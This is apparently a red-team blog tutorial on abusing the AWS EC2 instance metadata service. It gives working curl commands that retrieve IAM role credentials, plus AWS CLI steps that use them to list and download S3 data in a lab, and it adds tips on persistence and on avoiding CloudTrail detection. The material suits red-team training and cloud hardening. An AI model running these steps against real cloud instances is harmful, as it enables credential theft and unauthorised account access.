Abusing the AWS metadata API for privilege escalation
Learn how to leverage the AWS Metadata API to extract IAM role credentials and escalate privileges after compromising an EC2 instance.
Amazon EC2 instances are commonly used to host applications, services, and workloads in the cloud. These virtual machines come with a unique feature known as the Instance Metadata Service (IMDS), accessible from within the instance at a special IP address: http://169.254.169.254. The Metadata API is a part of IMDS and provides a wealth of information about the running instance. This includes instance-specific data such as the hostname, instance ID, AMI ID, and network configuration. More importantly, it can expose temporary security credentials if the instance is assigned an IAM role.
These temporary credentials are critical for automation. They allow applications to access AWS services (like S3, DynamoDB, or SQS) securely without hardcoding credentials or manually managing keys. However, access to the metadata endpoint is local — meaning any process or user on the machine can access it unless extra protections are in place.
Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.
The metadata endpoint requires no special system privileges to query. If an EC2 instance has an IAM role attached, then accessing the security credentials is as simple as making an HTTP GET request to a known path. Once obtained, these credentials can be used just like any AWS access key pair — within the permissions granted by the role.
Scenario: Escalating privileges after gaining a foothold in an EC2 instance
Imagine a red team operator has compromised a vulnerable web application running on an EC2 instance. The initial access could have come from an RCE vulnerability, stolen credentials, or misconfigured exposure. Once inside, the operator begins basic enumeration.
They discover that the application is running under a standard Linux user with limited privileges. However, further inspection of the cloud environment reveals that the instance has an IAM role attached, granting permissions to interact with an S3 bucket. This bucket is used internally by the application — for example, to store PDF documents generated from user submissions or to archive access logs. The bucket is not publicly accessible from outside the EC2 instance, nor is it open to arbitrary IAM users — only the EC2 instance’s role has access.
The red team operator now considers leveraging the EC2 Metadata API to abuse this attached role and escalate privileges in the AWS environment. By retrieving temporary credentials from the Metadata API and using them directly with AWS CLI or SDKs, they aim to interact with the S3 bucket (or other services) in ways that may not be permitted to the local user or application logic.
Levaraging Metadata API for privilege escalation
This technique hinges on the simple fact that the Metadata API is exposed to all processes on the machine, and the temporary credentials it provides carry all the permissions assigned to the instance’s IAM role. If the role has overly permissive or misconfigured policies, the attacker can leverage it to access sensitive resources or pivot deeper into the AWS account.
Here’s how this works in practice:
The attacker queries the Metadata API at
http://169.254.169.254/latest/meta-data/iam/security-credentials/
. This returns the name of the role attached to the instance.They then query
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
to retrieve the temporary credentials —AccessKeyId
,SecretAccessKey
, andToken
.These credentials are exported as environment variables or used directly with the AWS CLI or SDK.
The attacker uses the credentials to interact with AWS services like S3, sometimes discovering they can read, write, or delete data, even though these actions weren’t possible via the local application interface.
If the attached IAM role has broader permissions — such as access to IAM, Lambda, Secrets Manager, or EC2 — the attacker can perform actions that go well beyond accessing the S3 bucket, potentially leading to privilege escalation, persistence, or data exfiltration.
This method does not require root privileges or AWS credentials to begin with. It only requires code execution on the EC2 instance and access to the internal metadata IP address.
Step-by-step guide - Practicing the technique in a lab
You can follow this guide to try this technique in a controlled environment. A fully deployable Terraform lab is available in the 100 Days of Red Team Terraform GitHub repository, designed to simulate this exact scenario.
You can use this AWS IAM policy to successfully deploy this project. It contains all necessary permissions.
Assumptions:
You have shell access to an EC2 instance.
The instance has an IAM role attached with some level of AWS permissions.
You have
curl
or a similar tool installed.
Step 0: Understand IMDSv2
Since mid-2020, IMDSv2 is the default metadata access method for EC2 instances. It requires a session token obtained via a PUT request to the metadata endpoint. Any subsequent GET requests must include that token in an HTTP header.
This is a defense mechanism to protect against SSRF and metadata scraping via non-interactive processes. However, if you have shell access to the instance, you can still fetch the token manually.
Step 1: Check If an IAM Role is Attached to the Instance
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
Then:
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/info
What’s Happening:
This request checks whether an IAM role is attached to the instance.
If a role is present, the response will include metadata such as the role name and instance profile ARN.
This confirms that the instance is using an instance profile (IAM role) and gives us the name needed for credential enumeration.
Step 2: Confirming the IAM Role Name by Further Enumeration
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
This endpoint returns only the role name (e.g., AppS3ReadOnlyRole
). It’s simpler than the full iam/info
output but complements it.
Step 3: Retrieve Temporary AWS Credentials for the Role
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2_s3_read_role_7099aae9
What’s Happening:
This fetches the temporary security credentials associated with the IAM role.
The credentials include:
AccessKeyId
SecretAccessKey
Token
(session token)Expiration
timestamp
Step 4: Use the Credentials Locally
Depending on the environment, we will need to export these credentials to shell so that the AWS CLI or SDK can use them.
On macOS/Linux (bash/zsh):
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2Vj..."
On Windows PowerShell:
$env:AWS_ACCESS_KEY_ID = "ASIA..."
$env:AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI..."
$env:AWS_SESSION_TOKEN = "IQoJb3JpZ2luX2Vj..."
On Windows Command Prompt (cmd.exe
)
set AWS_ACCESS_KEY_ID=ASIA...
set AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...
set AWS_SESSION_TOKEN=IQoJb3JpZ2luX2Vj...
Step 5: Infer Permissions Associated with the IAM Role
After extracting the credentials from the metadata service, we can try to interact with common AWS services — like S3 — to determine what actions are permitted.
aws s3 ls
Step 6: Accessing the S3 Bucket
Next, lets attempt to list contents of the bucket my-redteam-lab-bucket-7099aae9:
aws s3 ls s3://my-redteam-lab-bucket-7099aae9/
Download the file from the bucket:
aws s3 cp s3://my-redteam-lab-bucket-7099aae9/secret.txt .
What’s Happening:
These commands interact directly with AWS, impersonating the EC2 instance.
If the IAM role is overly permissive or not tightly scoped, you may gain access to resources far beyond the application's original intent.
Other Use Cases
Depending on the permissions assigned to the attached IAM role, this technique can also be used for accessing other secrets, establishing persistence, evasion etc. as mentioned below:
Use credentials to access Secrets Manager or SSM Parameter Store if the role allows.
Deploy new infrastructure (like EC2 instances or Lambda functions) to establish persistence.
Enumerate IAM roles and permissions for lateral movement.
Harvest credentials or tokens for other services.
Bypass network or identity boundaries by leveraging assume-role permissions if granted.
OPSEC considerations and other use cases
While this technique is powerful, it can leave behind noisy footprints if not handled carefully. For example,
Fetching credentials via the Metadata API does not generate CloudTrail logs. However, using the credentials with the AWS CLI, SDKs, or APIs does.
AWS CloudTrail logs any use of the temporary credentials outside the instance, such as from a remote attacker’s machine. To stay covert, proxying requests through the EC2 instance is safer.
Using tools like
aws ec2 describe-instances
oraws iam list-users
might trigger alerts in environments with good logging and monitoring.
TL;DR
- AWS EC2 instances expose a Metadata API (169.254.169.254) that can leak temporary credentials if improperly secured.
- A red team operator who gains shell access to an EC2 instance can abuse this API to extract IAM role credentials attached to that instance.
- These credentials can be used to access restricted AWS services like S3, if permitted by the role.
- This technique enables lateral movement, data access, or further privilege escalation within AWS environments.
- OPSEC tip: Metadata access leaves minimal logs, but AWS actions (e.g., S3 reads) may show up in CloudTrail.
Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.